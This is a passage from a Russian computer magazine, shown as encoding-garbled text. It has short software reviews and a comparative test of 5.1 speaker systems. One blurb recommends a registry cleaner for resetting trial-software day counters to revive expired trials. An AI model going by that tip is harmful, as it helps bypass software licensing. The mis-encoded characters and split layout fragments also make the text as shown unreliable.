
óìåíüøåííûå âåðñèè âñåõ îòêðûòûõ ïðèëîæåíèé. Äàëåå
îñòàëîñü òîëüêî âûáðàòü íóæíîå. 

»

REGISTRY TRASH KEYS FINDER

Îòëè÷íàÿ ïðîãðàììà äëÿ óäàëåíèÿ èç ðååñòðà âñÿ-
êîãî ðîäà ìóñîðà, íàïðèìåð, çàïèñåé-ñ÷åò÷èêîâ îñ-

òàâøèõñÿ äíåé, îñòàâëÿåìûõ î÷åíü ìíîãèìè íåñâîáîäíû-
ìè ïðîãðàììàìè. 
Ãëàâíûì ýôôåêòîì óäàëåíèÿ ýòèõ êëþ÷åé èç ðååñòðà ÿâ-
ëÿåòñÿ "îæèâëåíèå" íåêîòîðûõ Trial-âåðñèé ïðîãðàìì, êî-
òîðûå óæå ñîîáùèëè òåáå î òîì, ÷òî ñðîê èõ îïðîáîâàíèÿ
èñòåê, èëè ïðîñòî îáíóëåíèå ñ÷åò÷èêà äíåé òåñòèðîâàíèÿ.
Ìîæíî íàñòðîèòü ïðîãðàììó òàê, ÷òîáû îíà ïðîèçâîäèëà
÷èñòêó, íàïðèìåð, ïðè çàãðóçêå Windows.

»

WINPATROL V8.0

Ïàêåò ïðîãðàìì (âñå â îäíîì) äëÿ çàùèòû òâîåé
ñèñòåìû îò âñåâîçìîæíûõ íàïàñòåé. Ïðîãðàììà çàã-

ðóæàåòñÿ âìåñòå ñ Âèíäîé è îòñëåæèâàåò (èñïîëüçóåò ýâ-
ðèñòè÷åñêèé ïîäõîä) çàïèñè â ðååñòð, îáëàñòü àâòîçàãðóç-
êè, ñèñòåìíûå ïàïêè.
Ïðè ýòîì ìîæíî êîíòðîëèðîâàòü âñå ïðîèñõîäÿùèå ïðî-
öåññû, çàïóùåííûå çàäà÷è è ñåðâèñû (ïîëó÷åíèå ïîëíîãî
îò÷åòà). Òàêæå ïðè ïîìîùè WinPatrol âñåãäà ìîæíî ïðîñ-
ìîòðåòü è îòðåäàêòèðîâàòü êóêèñû, óâèäåòü, ÷òî ñòîèò â
àâòîçàãðóçêå, è óáðàòü ëèøíåå.

»

&RQ 0.9.4.17

"ICQ must die, &RQ forever" - ïðèáëèçèòåëüíî òàêàÿ
ìûñëü ïåðâîé ïîñåòèëà ìåíÿ ïðè ñðàâíåíèè ýòèõ

äâóõ ïðîãðàìì. &RQ - î÷åíü êîìïàêòíûé ICQ-êëèåíò, ñî-
äåðæàùèé ïðàêòè÷åñêè âñå (à ëè÷íî äëÿ ìåíÿ àáñîëþòíî
âñå) íåîáõîäèìûå ôóíêöèè. Ïðè ýòîì íè÷åãî ëèøíåãî â
íåãî âñòðàèâàòü íå ñòàëè. Ïðîãðàììà ñîâåðøåííî áåñï-
ëàòíà (òî åñòü ïî-íàñòîÿùåìó áåñïëàòíà: íèêàêèõ áàííå-
ðîâ òîæå íå êðóòÿò!). &RQ íå òðåáóåò èíñòàëëÿöèè. Âåð-
íåå, èíñòàëëÿöèÿ íåîáÿçàòåëüíà - â ïðèðîäå &RQ âñòðå-
÷àåòñÿ êàê â âèäå ZIP- èëè RAR-àðõèâîâ, òàê è â âèäå
äèñòðèáóòèâà, ïðè÷åì â ïîñëåäíåì ñëó÷àå âñÿ èíñòàëëÿ-
öèÿ ñâîäèòñÿ ê áàíàëüíîé ðàñïàêîâêå ôàéëîâ èç àðõèâà è
ñîçäàíèþ ÿðëûêîâ òàì, ãäå èõ îáû÷íî ñîçäàþò. Íèêàêèõ
çàïèñåé â ðååñòð &RQ íå ïðîèçâîäèò! Êîíòàêò-ëèñò è èñòî-
ðèÿ îáùåíèÿ õðàíÿòñÿ ëîêàëüíî, òî åñòü íå îòñûëàþòñÿ
íà ñåðâåð è íå ïðèíèìàþò ñ íåãî ýòè äàííûå.
Çäåñü åñòü êàê ïëþñû, òàê è ìèíóñû. Ïîëîæèòåëüíûé ìî-
ìåíò çàêëþ÷àåòñÿ â òîì, ÷òî åñëè ñ òâîèì íîìåðîì àñüêè
÷òî-òî ñëó÷èëîñü, òî âìåñòå ñ íîìåðîì òâîé êîíòàêò-ëèñò ìî-
æåò ïîïàñòü ê ïîñòîðîííåìó ÷åëîâåêó, êîòîðîìó ñîâåðøåí-
íî íå îáÿçàòåëüíî çíàòü, ñ êåì òû îáùàåøüñÿ. Âòîðîé
ïëþñ: óòðîì, ñîáèðàÿñü íà ðàáîòó, òû øóñòðåíüêî àðõèâèðó-
åøü &RQ, ïèøåøü åãî íà äèñêåòêó (âëåçàåò!) è áåðåøü ñ
ñîáîé íà ðàáîòó. Ñàìó ïàïêó ñ &RQ, ðàçóìååòñÿ, ñòèðàåøü ñ
ëèöà õàðäà. È îñòàâøèåñÿ äîìà ìóæ/æåíà/äåòè óæå íèêîèì
îáðàçîì íå ïîëó÷àþò äîñòóï íè ê òâîèì êîíòàêòàì, íè ê èñ-
òîðèè îáùåíèÿ - êîíôèäåíöèàëüíîñòü ïîëíåéøàÿ, ðàáîòà-
åò ïðèíöèï "âñå ñâîå íîøó ñ ñîáîé" :) Êñòàòè, ïðîãðàììà
ïîääåðæèâàåò èìïîðò/ýêñïîðò êîíòàêòîâ â ôîðìàò CLB.
Åñòü åùå îäíà ïðèÿòíàÿ îñîáåííîñòü êîíòàêò-ëèñòà (êîòî-
ðàÿ â äðóãèõ ICQ-êëèåíòàõ âñòðå÷àåòñÿ äîâîëüíî ðåäêî):
âñå îôôëàéí-êîíòàêòû íàðàâíå ñ îíëàéí îòñîðòèðîâàíû ïî
ãðóïïàì. Êîãäà â êîíòàêò-ëèñòå "ñèäÿò" ÷åëîâåê 40-50, ýòî
ìîæåò è íå ïîêàçàòüñÿ óäà÷íîé ìûñëüþ, íî êîãäà ñïèñîê
êîíòàêòîâ íàñ÷èòûâàåò íå îäíó ñîòíþ ÷åëîâåê, íà ýòîò ïà-
ðàìåòð âîëåé-íåâîëåé ïðèõîäèòñÿ îáðàùàòü âíèìàíèå. Ñàì
ïðîöåññ îáùåíèÿ ñäåëàí ìàêñèìàëüíî óäîáíûì. Åñëè èäåò

"ñåàíñ îäíîâðåìåííîé èã-
ðû", òî åñòü îáùàåøüñÿ ïà-
ðàëëåëüíî ñ íåñêîëüêèìè
ëþäüìè, òî íåò ýííîãî ÷èñ-
ëà îòêðûòûõ îêîí, îíî âñå-
ãî îäíî! Â íåì - çàêëàäêè,
ïî îäíîé íà êàæäîãî ñîáå-
ñåäíèêà. Ïåðåêëþ÷åíèå
ìåæäó íèìè îñóùåñòâëÿåò-
ñÿ ìûøàñòûì ùåë÷êîì ïî
íóæíîé çàêëàäêå. Ïðè îá-
ùåíèè ïðîáëåì ñ êîäèðîâ-
êîé êèðèëëèöû ïðàêòè÷åñ-
êè íå íàáëþäàåòñÿ. Èäåàëà
äîñòè÷ü ïîêà íå óäàëîñü,
íî â ýòîì ïëàíå íå èäåàëåí
äàæå ðîäíîé ICQ-êëèåíò, à
åñëè ñðàâíèâàòü ñ
Trillian'îì, òî çäåñü âñå êóäà
ëó÷øå. &RQ ïîääåðæèâàåò
èçìåíåíèå âíåøíîñòè
"øêóðíûì" ìåòîäîì, à òàê-
æå ðàñøèðåíèå ñâîåé
ôóíêöèîíàëüíîñòè áëàãî-
äàðÿ âîçìîæíîñòè ïðèìå-
íåíèÿ ïëàãèíîâ.
Íà äèñêå ëåæèò äèñòðèáó-
òèâ &RQ, ñîäåðæàùèé â
ñåáå èíñòàëëÿòîð, íåñ-
êîëüêî òåì. Ïîñëå èíñòàë-
ëÿöèè ïàïêó Plugins ìîæíî
ñìåëî ïðèáèòü - &RQ ðåç-
êî ïîõóäååò âäâîå.

»



Â ñôåðå íåäîðîãèõ àêóñòè÷åñ-
êèõ ñèñòåì íàáëþäàåòñÿ ïîÿâ-
ëåíèå íîâûõ, âåñüìà íåïëî-
õèõ ìîäåëåé, íî ýòî íå ïîâîä
ñáðàñûâàòü ñî ñ÷åòîâ è "ñòà-
ðè÷êîâ", êîòîðûå óæå äîñòà-

òî÷íî äîëãîå âðåìÿ çàíèìàþò ïðî÷íûå ïîçè-
öèè íà âåðøèíå. Ñåãîäíÿ ìû ðåøèëè âûá-
ðàòü íàèáîëåå ïðîñòóþ è, âìåñòå ñ òåì, ôóíê-
öèîíàëüíóþ àêóñòèêó äëÿ äîìà, êîòîðàÿ ñìî-
æåò ñòàòü öåíòðîì çâóêîâîñïðîèçâåäåíèÿ è
çàìåíèòü ñîáîé âñå èñïîëüçóþùèåñÿ ðàíåå
ñèñòåìû. Èòàê, â íàøåì òåñòå ïðèñóòñòâóåò
âîñåìü 5.1-êàíàëüíûõ ñèñòåì.

ÒÅÕÍÎËÎÃÈÈ
Ìíîãî ðàç ãîâîðèëîñü, èç ÷åãî ñîñòîÿò

êîëîíêè, êàê ïðîèñõîäèò óñèëåíèå çâóêà è
êàê ïðàâèëüíî ïîäêëþ÷àòü ñèñòåìû, îäíàêî
âîïðîñ ïðàâèëüíîé ðàññòàíîâêè ñàòåëëèòîâ
äî ýòîãî âðåìåíè êàê-òî óïóñêàëñÿ èç âèäó.
Ïîýòîìó ìû ðåøèëè âîñïîëíèòü ýòîò ïðîáåë,
ðàññêàçàâ, êàê ìîæíî íàèáîëåå êîððåêòíî
ðàññòàâèòü âñå êîìïîíåíòû àêóñòèêè, ÷òîáû
çâóêîâîå îôîðìëåíèå îêàçàëîñü ïîëíûì è
êà÷åñòâåííûì. 
Âûáèðàåì ìåñòî. Íóæíî ó÷èòûâàòü, ÷òî ñëó-
øàòåëü äîëæåí íàõîäèòüñÿ êàê áû â öåíòðå
îêðóæíîñòè (ïîñêîëüêó ýòî íàèáîëåå ïðîñ-
òîé ñïîñîá, íå òðåáóþùèé íèêàêèõ ðàñ÷åòîâ,
à äàëåå ìû ðàññêàæåì, êàê åå ïîñòðîèòü), ïî-
ýòîìó êàê ñçàäè, òàê è ñïåðåäè äîëæíî áûòü
äîñòàòî÷íî ìåñòà äëÿ ðàñïîëîæåíèÿ ñàòåë-
ëèòîâ. Òàêæå ñòîèò ó÷èòûâàòü, ÷òî ñàáâóôåð
äîëæåí ñòîÿòü íà æåñòêîé ïîâåðõíîñòè (òî
åñòü ïîñòàíîâêà åãî íà êîâåð íå ïîäîéäåò) è
íàõîäèòüñÿ â ïðåäåëàõ ñëûøèìîñòè/âèäè-
ìîñòè (òî åñòü â òîé æå êîìíàòå), ïðè÷åì ìåñ-
òîïîëîæåíèå Í×-äèíàìèêà ëó÷øå âñåãî îï-
ðåäåëÿòü ýêñïåðèìåíòàëüíûì ïóòåì.
Óñòàíàâëèâàåì êîëîíêè. Äëÿ òîãî ÷òîáû
çâóê íàèáîëåå ÷åòêî ïîçèöèîíèðîâàëñÿ
(íàïðèìåð, ÷òîáû ìàøèíû â ôèëüìàõ ïðîíî-
ñèëèñü ñïåðåäè íàçàä è ýòî ÷óâñòâîâàëîñü
óõîì), îïòèìàëüíåå âñåãî áóäåò âûáðàòü ìåñ-
òî äëÿ ïðîñëóøèâàíèÿ â öåíòðå êîìíàòû, è
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ÒÅÑÒÎÂÛÉ ÑÒÅÍÄ:

Ìàòåðèíñêàÿ ïëàòà: ASUS A7V8X-X (BIOS ver 1012)

Ïðîöåññîð: AMD Athlon(tm) XP 1800+ 1.53GHz

Ïàìÿòü: Hyundai 256Mb DDR PC2700

Çâóêîâàÿ ïëàòà: SoundMax Digital Audio

ÎÑ: Windows XP Professional EN Corp Edition (build
2600.xpsp_sp2_rtm.040803-2158: SP2)



äàëåå ìû áóäåì îòòàëêèâàòüñÿ èìåííî îò ýòîãî ïîëîæåíèÿ.
Òåïåðü íàñ èíòåðåñóåò ïîñòðîåíèå îêðóæíîñòè, íà êîòîðîé
áóäóò ðàñïîëàãàòüñÿ êîëîíêè-ñïóòíèêè. À äåëàåòñÿ ýòî
ïðîñòî � îò öåíòðà ìîæíî ïðîòÿíóòü âåðåâî÷êó èëè íèòêó,
êîòîðîé âïîñëåäñòâèè áóäåò îòìåðÿòüñÿ ðàññòîÿíèå. Ñîîò-
âåòñòâåííî öåíòðàëüíûé ñàòåëëèò óñòàíàâëèâàåòñÿ ïî
öåíòðó (íàïðèìåð, íà òåëåâèçîð), à îñòàëüíûå (ïåðåäíèå)
äîëæíû ðàñïîëàãàòüñÿ íà îäèíàêîâûõ ðàññòîÿíèÿõ îò
öåíòðàëüíîãî, ïðè÷åì ñ òàêèì æå ðàññòîÿíèåì äî ñëóøàòå-
ëÿ (äëÿ ýòîãî-òî êàê ðàç è íóæíà îêðóæíîñòü). Âûñîòà ðàñ-
ïîëîæåíèÿ âñåõ ïåðåäíèõ êîëîíîê äîëæíà áûòü îäèíàêî-
âîé (íà óðîâíå ãîëîâû). Çàäíèå æå êîëîíêè ïîäâåøèâàþò-
ñÿ íà ñòåíó èëè ñòàâÿòñÿ íà ïîñòàìåíòû, ïîñêîëüêó èõ ðàñ-
ñòîÿíèå äî ïîëà äîëæíî áûòü çíà÷èòåëüíî áîëüøå, ÷åì ó
ïåðåäíèõ (îïðåäåëÿåòñÿ ïî ëèíèè â 30-40 ãðàäóñîâ îò ãî-
ðèçîíòàëüíîé ïëîñêîñòè, ïîñòðîåííîé íà óðîâíå ãîëîâû),
ïðè÷åì îíè òàêæå äîëæíû íàõîäèòüñÿ íà îêðóæíîñòè. Ñà-
ìûì ñëîæíûì ÿâëÿåòñÿ îïðåäåëåíèå ïîëîæåíèÿ ñàáâóôå-
ðà, äëÿ ÷åãî ïîòðåáóåòñÿ êàê ìèíèìóì äâà ÷åëîâåêà � îäèí
áóäåò ïåðåñòàâëÿòü Í×-êîëîíêó, à äðóãîé - îïðåäåëÿòü êà-
÷åñòâî çâóêà. Ïðè ïåðåìåùåíèè ïî êîìíàòå ñëåäóåò íàéòè
ìåñòî, îòêóäà áàñ ñëûøèòñÿ íàèáîëåå ÷åòêî, ãëóáîêî è ñî÷-
íî - èìåííî òàì è ñòîèò îñòàâèòü ñàá.
Ñòîèò ïîìíèòü î òîì, ÷òî ó íåêîòîðûõ ñèñòåì èìååòñÿ îãðà-
íè÷åíèå ïî äëèíå ïðîâîäîâ (åñëè îíè âñòðîåíû) èëè óï-
ðàâëåíèþ (êîãäà ïóëüò ïîäêëþ÷åí ê ïðîâîäó). Îáùàÿ æå
ñõåìà ðàññòàíîâêè ïðåäñòàâëåíà íà ðèñóíêå, è äëÿ ëó÷øå-
ãî çâó÷àíèÿ ñòîèò ðàñïîëàãàòü ýëåìåíòû àêóñòè÷åñêîé
ñèñòåìû ìàêñèìàëüíî ïðèáëèæåííî ê íåé.

ÌÅÒÎÄÈÊÀ ÒÅÒÈÐÎÂÀÍÈß
Äëÿ òåñòèðîâàíèÿ è îöåíêè àêóñòè÷åñêèõ ñèñòåì ìû:

1. Ïðîñëóøèâàëè ìóçûêàëüíûå êîìïîçèöèè ñ êîìïüþ-
òåðà, MP3-ïëååðà (êàê ñîâðåìåííîãî, òàê è ñòàðîãî ñòè-
ëÿ, â ðàçíûõ ðåæèìàõ ðàáîòû ñèñòåìû)
2. Ïðîáîâàëè îçâó÷èâàíèå ýôôåêòîâ â èãðàõ (Unreal
Tournament 2004)
3. Âûÿñíÿëè óäîáñòâî ïîäêëþ÷åíèÿ êîìïîíåíòîâ ñèñòå-
ìû ìåæäó ñîáîé è ñîåäèíåíèå åå ñî çâóêîèçëó÷àþùèì
óñòðîéñòâîì
4. Îöåíèâàëè ôóíêöèîíàëüíîñòü è äèçàéí ñèñòåìû »

test_lab âûðàæàåò áëàãîäàðíîñòü çà ïðåäîñòàâëåííîå íà
òåñòèðîâàíèå îáîðóäîâàíèå êîìïàíèÿì «ÀËÈÎÍ» (ò.: 727-

1818), «ÁÞÐÎÊÐÀÒ» (ò.: 745-5511), «ÒÎÐ» (www.tor-
trade.ru), «East Side Consulting GmbH» (www.east-side-con-

sulting.com).
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Ðåàëüíàÿ ìîùíîñòü: 35 Âò (ñàá), 2x18 Âò (ïåðåäíèå), 2x18 Âò (çàäíèå), 20 Âò (öåíòð)
×àñòîòíûé äèàïàçîí: 35-20000 Ãö
Ìàòåðèàë: äåðåâî (ñàòåëëèòû), äåðåâî (ñàáâóôåð)
Óïðàâëåíèå: ïåðåäíÿÿ ïàíåëü ñàáâóôåðà.
Ðàçìåðû: 210õ395õ300 ìì (ñàáâóôåð), 350õ135õ130 ìì (öåíòðàëüíûé),
130õ130õ230 ìì (ñåòåëëèòû)

Ïðàêòè÷åñêè ïîëíûé àíàëîã ïðåäûäóùåé ñèñòåìû, íî èìå-
þùèé íåìíîãî ìåíüøèå ðàçìåðû (âñëåäñòâèå ÷åãî è ìåíü-

øóþ ìîùíîñòü çâóêà) è íå èìåùèé ïóëüò äèñòàíöèîííîãî óïðàâ-
ëåíèÿ. Çâó÷èò, îäíàêî, A4Tech S-550 âïîëíå íåïëîõî, ïðè÷åì êà-
÷åñòâî çâóêà ñðàâíèìî ñî ñòàðøåé ìîäåëüþ, åäèíñòâåííîé íåáîëüøîé ïðîáëåìîé, êîòîðàÿ âîçíèêàåò íà êîìïîçèöèÿõ
òèïà "Benny Benassi � Satisfaction" ÿâëÿåòñÿ "çàïèðàíèå" ñàáâóôåðà íà áîëüøîé ãðîìêîñòè. Â îñòàëüíîì æå íèêàêèõ
ïðåòåíçèé ê âîñïðîèçâîäèìîé ìóçûêå, à òàêæå ôèëüìàì è èãðàì íåò.
Áîëåå óäîáíîé ÿâëÿåòñÿ ñèñòåìà óïðàâëåíèÿ (ïîñòðîåííàÿ íà èñïîëüçîâàíèè ðåçèñòîðîâ) ïî ñðàâíåíèþ ñ A4Tech
S-570, ïîñêîëüêó ó íåå îòñóòñòâóåò ïîçèöèîíèðîâàíèå ðåãóëÿòîðîâ (òî åñòü íå îòîáðàæàåòñÿ óðîâåíü ñèãíàëà, óï-
ðàâëåíèå ïðîèñõîäèò ïðè ïîìîùè êíîïîê).
Ïîäêëþ÷åíèå ñèñòåìû ïðîèñõîäèò ïðîñòî áåç ðàçäóìèé íàä òåì, â êàêóþ äûðî÷êó ÷òî äîëæíî áûòü ïîäñîåäèíåíî, à ïðó-
æèííûå çàæèìû äëÿ ïðîâîäîâ ñïîñîáñòâóþò íàäåæíîìó èç çàêðåïëåíèþ.
Â îáùåì, õîðîøàÿ àêóñòèêà, êîòîðàÿ ïîäîéäåò êàê äëÿ ïðîñëóøèâàíèÿ ìóçûêè, òàê è äëÿ êîìôîðòíîãî ïðîñìîòðà ôèëüìîâ, äà
è ïîèãðàòü ïîä çâóêè, ðàçäàþùèåñÿ èç êîëîíîê ýòîé ñèñòåìû, áóäåò îäíî óäîâîëüñòâèå.

»

A4TECH S-550

Öåíà:

$10
5

Ðåàëüíàÿ ìîùíîñòü: 20 Âò (ñàá), 8 Âò (ïåðåäíèå), 8 Âò (çàäíèå
×àñòîòíûé äèàïàçîí: 35-20000 Ãö
Ìàòåðèàë: ïëàñòèê (ñàòåëëèòû), äåðåâî (ñàáâóôåð)
Óïðàâëåíèå: ïåðåäíÿÿ ïàíåëü ñàáâóôåðà

Ðàçìåðû: 270õ170õ235ìì (ñàáâóôåð), 107õ87õ87ìì (ñàòåëëèòû)

DEFENDER SPK-HT5.1

Ïÿòü îäèíàêîâûõ ñàòåëëèòîâ è äåðåâÿííûé ñàáâóôåð � íè-
êàêèõ âûäåëÿþùèõñÿ îñîáåííîñòåé ó äàííîé ñèñòåìû íåò,

êðîìå ìèíèàòþðíûõ ðàçìåðîâ. Ïðèñîåäèíåíèå êîëîíîê-ñïóòíè-
êîâ ê ñàáâóôåðó ïðîèñõîäèò ïîñðåäñòâîì òþëüïàíà (äðóãîé æå
êîíåö ïðîâîäà "âïàÿí" â êîðïóñ ñàòåëëèòà), äëèíà ñîåäèíèòåëü-
íûõ êàáåëåé ÿâëÿåòñÿ äîñòàòî÷íîé äëÿ óñòàíîâêè ñèñòåìû îêîëî êîìïüþòåðíîãî ñòîëà, ýëåìåíòîì æå äîìàøíåãî êèíî-
òåàòðà àêóñòèêå ñ òàêèì ñïîñîáîì êðåïëåíèÿ ñòàòü íå ñóæäåíî.
Íåñêîëüêî ñëîâ êàñàòåëüíî çâó÷àíèÿ äèíàìèêîâ � ïðè âêëþ÷åíèè ñðàçó ÷óâñòâóåòñÿ íåñáàëàíñèðîâàííîñòü ãðîìêîñòè ñàòåëëè-
òîâ è ñàáâóôåðà (ïðè îäèíàêîâîì ïîëîæåíèè ðó÷åê ðåãóëèðîâêè), íî ïðîáëåìà ðåøàåòñÿ ïîäñòðîéêîé áàñà íà íóæíûé óðîâåíü
ãðîìêîñòè. Åñëè ãîâîðèòü î ïðàâèëüíîñòè âîñïðîèçâåäåíèÿ íèçêèõ ÷àñòîò, òî çäåñü àêóñòèêà îêàçàëàñü âåñüìà íåïëîõîé (åñëè
ñðàâíèâàòü ñ ñèñòåìàìè ïîõîæåãî êëàññà). Íåïðèÿòíîñòüþ ÿâëÿåòñÿ íåâîñïðèèì÷èâîñòü ñîâðåìåííîé ìóçûêè (æåñòêèå ñòèëè),
êîãäà íà÷èíàåòñÿ õðèïåíèå êàê ñàòåëëèòîâ, òàê è áàñîâîé êîëîíêè.

»

Äîñòàòî÷íî áîëüøàÿ ïî ôèçè÷åñêèì ðàçìåðàì, ñèñòåìà ÿâëÿåòñÿ
îäíîé èç ëó÷øèõ â òåñòå � ïîëíîñòüþ äåðåâÿííûå ñàòåëëèòû è

ñàáâóôåð èçäàþò ïðåêðàñíûé çâóê ïðàêòè÷åñêè íà ëþáîé ãðîìêîñòè.
Òåìíî-êîðè÷íåâûé öâåò (ïîä äåðåâî) ïðåêðàñíî ñî÷åòàåòñÿ êàê ñî ñòðî-
ãîé, òàê è ñ "äîìàøíåé" îáñòàíîâêîé â êîìíàòå, à ñåðåáðèñòàÿ ïåðåäíÿÿ
ïàíåëü ñàáâóôåðà (è îôîðìëåíèå òâèòòåðîâ ó ñàòåëëèòîâ) ïðèäàåò íåêèé ñòèëü âñåé ñèñòåìå â öåëîì. Â äîïîëíåíèå ê àêóñòèêå ïðè-
ëàãàåòñÿ ïóëüò äèñòàíöèîííîãî óïðàâëåíèÿ, êîòîðûé ïðàêòè÷åñêè ïîëíîôóíêöèîíàëåí (îòñóòñòâóåò ëèøü âîçìîæíîñòü ïåðåêëþ÷àòü
çâóêîâûå âõîäû çàäíåé ïàíåëè ñàáâóôåðà, îñòàëüíîå æå óïðàâëåíèå ïîëíîñòüþ ïîâòîðÿåò ýëåìåíòû íà Í×-äèíàìèêå).
Çâó÷àíèå A4Tech S-570 ïðèÿòíî âî âñåõ îòíîøåíèÿõ (îíî è ïîíÿòíî � äâóõïîëîñíûå ñàòåëëèòû ñ äèíàìèêàìè, "çàòî÷åííûìè" ïîä
îïðåäåëåííûé äèàïàçîí ÷àñòîò ñïðàâëÿþòñÿ ñ çàäà÷åé ëó÷øå, ÷åì "âñå÷àñòîòíèêè"). Ïðè ïðîñëóøèâàíèè ìóçûêè â íåêîòîðûõ
êîìïîçèöèÿõ îáíàðóæèëèñü "çàïèðàíèÿ" ñàáâóôåðà, îäíàêî âûÿâèòü çàâèñèìîñòü íå óäàëîñü, ïîñêîëüêó òàêîé ýôôåêò íàáëþ-
äàëñÿ òàì, ãäå ïî èäåå âñå äîëæíî áûòü ãëàäêî (à, ñêîðåå âñåãî, ïðîñòî ñêàçûâàåòñÿ êà÷åñòâî êîìïîçèöèè).
Ñîåäèíåíèå âñåõ êîìïîíåíòîâ àêóñòèêè ïðîèçîøëî áåç âèäèìûõ òðóäíîñòåé, ïðàâäà ìàðêèðîâêà íà ïðîâîäàõ îòñóòñòâóåò è ñàìî
äåëåíèå ñàòåëëèòîâ òîæå (âñå îíè îäèíàêîâûå). Ïðîâîäà, çàêðåïëÿþùèåñÿ ïðè ïîìîùè ïðóæèííûõ çàæèìîâ, èìåþò äîñòàòî÷íûé
çàïàñ äëèíû (10 ìåòðîâ äëÿ çàäíèõ è 2 ìåòðà äëÿ ïåðåäíèõ ñàòåëëèòîâ), ïîýòîìó ïðîáëåìû ñ äîïîëíèòåëüíûì èõ ïðèîáðåòåíèåì
âîçíèêíóòü íå äîëæíî. Ìàëåíüêîé íåóäîáíîñòüþ ÿâëÿåòñÿ ñèíÿÿ ñâåòîâàÿ èíäèêàöèÿ ïîäñâåòêè ðåæèìîâ ðàáîòû, ïîñêîëüêó äà-
æå ïðè íåïðÿìîé âèäèìîñòè âíèìàíèå ïåðåêëþ÷àåòñÿ íà êîëîíêè.

»

Ðåàëüíàÿ ìîùíîñòü: 50 Âò (ñàá), 20 Âò (ïåðåäíèå), 20 Âò (çàäíèå)

×àñòîòíûé äèàïàçîí: 35-20000 Ãö
Ìàòåðèàë: äåðåâî (ñàòåëëèòû), äåðåâî (ñàáâóôåð)
Óïðàâëåíèå: ïóëüò ÄÓ + ïåðåäíÿÿ ïàíåëü ñàáâóôåðà

Ðàçìåðû: 210õ395õ300 ìì (ñàáâóôåð), 150õ230õ160 ìì (ñàòåëëèòû),
350õ135õ160 (öåíòðàëüíûé)

A4TECH S-570

Öåíà:

$12
0

Öåíà:

$70
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Ðåàëüíàÿ ìîùíîñòü: 100 Âò (ñàá), 2õ35 Âò (ïåðåäíèå), 2õ35 Âò (çàäíèå)

×àñòîòíûé äèàïàçîí: 35-20000 Ãö
Ìàòåðèàë: ïëàñòèê (ñàòåëëèòû), äåðåâî (ñàáâóôåð)
Óïðàâëåíèå: ïðîâîäíîé ïóëüò

Ðàçìåðû: 30õ30õ38 (ñàáâóôåð), 10õ20õ10 (ñàòåëëèòû), 17õ12õ10 (ïåðåäíèé).

Ýôôåêòíàÿ íà âèä ñèñòåìà, îáëàäàþùàÿ, îäíàêî, íå ñàìûì
ëó÷øèì çâó÷àíèåì (à åñëè êà÷åñòâî çâóêà åùå ñðàâíèâàòü è ñ

öåíîé, âûáîð áóäåò íå â ïîëüçó Logitech Z5300). Âûòÿíóòàÿ ôîðìà
ïëàñòèêîâûõ ñàòåëëèòîâ ÿâëÿåòñÿ íå ñàìûì îïòèìàëüíûì ðåøåíèåì.
Èíòåðåñíîé ÿâëÿåòñÿ êîíñòðóêöèÿ äèíàìèêîâ, ïî öåíòðó êîòîðûõ
èìååòñÿ àëþìèíèåâàÿ âñòàâêà êîíóñíîé ôîðìû, êîòîðàÿ íå èìååò îñîáîãî ïðàêòè÷åñêîãî çíà÷åíèÿ. Ïëþñîì æå ÿâëÿåòñÿ ðåçè-
íîâûé ïîäâåñ äèôôóçîðîâ, áëàãîäàðÿ êîòîðîìó îáåñïå÷èâàåòñÿ áîëåå ïëàâíûé è òî÷íûé õîä çâóêîèçëó÷àþùåé ïëàñòèíû.
Äîñòàòî÷íî èíòåðåñíà êîíñòðóêöèÿ ñàòåëëèòîâ, à, âåðíåå, èõ ïîäñòàâîê � ïîâîðîòíûé ìåõàíèçì îðãàíèçîâàí òàêèì îáðàçîì, ÷òî
çâóê âñåãäà áóäåò íàïðàâëåí íà ñëóøàòåëÿ, â íåçàâèñèìîñòè îò îäíîãî èç äâóõ ïîëîæåíèé êîëîíî÷êè (íà ñòåíå ëèáî íà ãîðè-
çîíòàëüíîé ïîäñòàâêå). Ïðîâîäà, ñîåäèíÿþùèå ïåðèôåðèéíûå êîìïîíåíòû ñ ñàáâóôåðîì, æåñòêî âñòðîåíû â êîðïóñ ñ îäíîé
ñòîðîíû è èìåþò ðàçúåì òèïà "òþëüïàí" ñ äðóãîé, ïîýòîìó óáðàòü ëèøíèé êàáåëü èëè äîáàâèòü äîïîëíèòåëüíûé íå ïîëó÷èòñÿ.
Ñúåìíûå ñåòêè ÿâëÿþòñÿ ñêîðåå ýëåìåíòîì äèçàéíà, ÷åì íåñóò êàêó-òî îáåðåãàþùóþ ôóíêöèþ, ïîñêîëüêó íåïëîòíîå èõ ïðèëå-
ãàíèå ê êîðïóñó è îòñóòñòâèå æåñòêîé ðåøåòêè íå îáåñïå÷èò çàùèòó äèôôóçîðà îò ïûëè èëè ñëó÷àéíîãî óäàðà. Ïðîâîäíîé
ïóëüò ÄÓ äîñòàòî÷íî óäîáåí, îäíàêî ñàì ôàêò òîãî, ÷òî îí íå äàåò ïîëíîé ñâîáîäû ïåðåìåùåíèé, ïå÷àëåí.
Â öåëîì ìîæíî ñêàçàòü, ÷òî ñèñòåìà äîñòîéíà óêðàñèòü îêîëîêîìïüþòåðíîå ïðîñòðàíñòâî, îäíàêî äëÿ èãð è ôèëüìîâ â ôîðìà-
òå DVD (êàê ýëåìåíò äîìàøíåãî êèíîòåàòðà) àêóñòèêà íå âïîëíå ïîäõîäèò.

»

LOGITECH Z5300

Öåíà:

$300

Äîâîëüíî ïðèÿòíàÿ ñèñòåìà ñåðåáðèñòîãî öâåòà, íåïëîõî
ñìîòðÿùàÿñÿ â ñáîðå, ïðè÷åì ñúåìíûå ñåòêè ñàòåëëèòîâ

îòêðûâàþò ïîä ñîáîé òàêæå ñòèëüíûé âèä � ÷òîáû ðàçíîîáðàçèòü îáñòàíîâêó, ìîæíî èõ ëèáî íàäåâàòü, ëèáî ñíèìàòü, à
òàêæå êîìáèíèðîâàòü ýòè äâà âèäà. Ðåãóëèðîâêà ðàáîòû ñèñòåìû âåñüìà óäîáíà � ïóëüò äèñòàíöèîííîãî óïðàâëåíèÿ ïîç-
âîëÿåò â ïîëíîì îáúåìå èçìåíÿòü âñå õàðàêòåðèñòèêè àêóñòèêè, ïðèñóòñòâóåò âîçìîæíîñòü óïðàâëåíèÿ è ñ ïåðåäíåé ïà-
íåëè ñàáâóôåðà, êîðî÷å, èìååòñÿ ïîëíûé íàáîð âîçìîæíîñòåé ïî óïðàâëåíèþ çâóêîì.
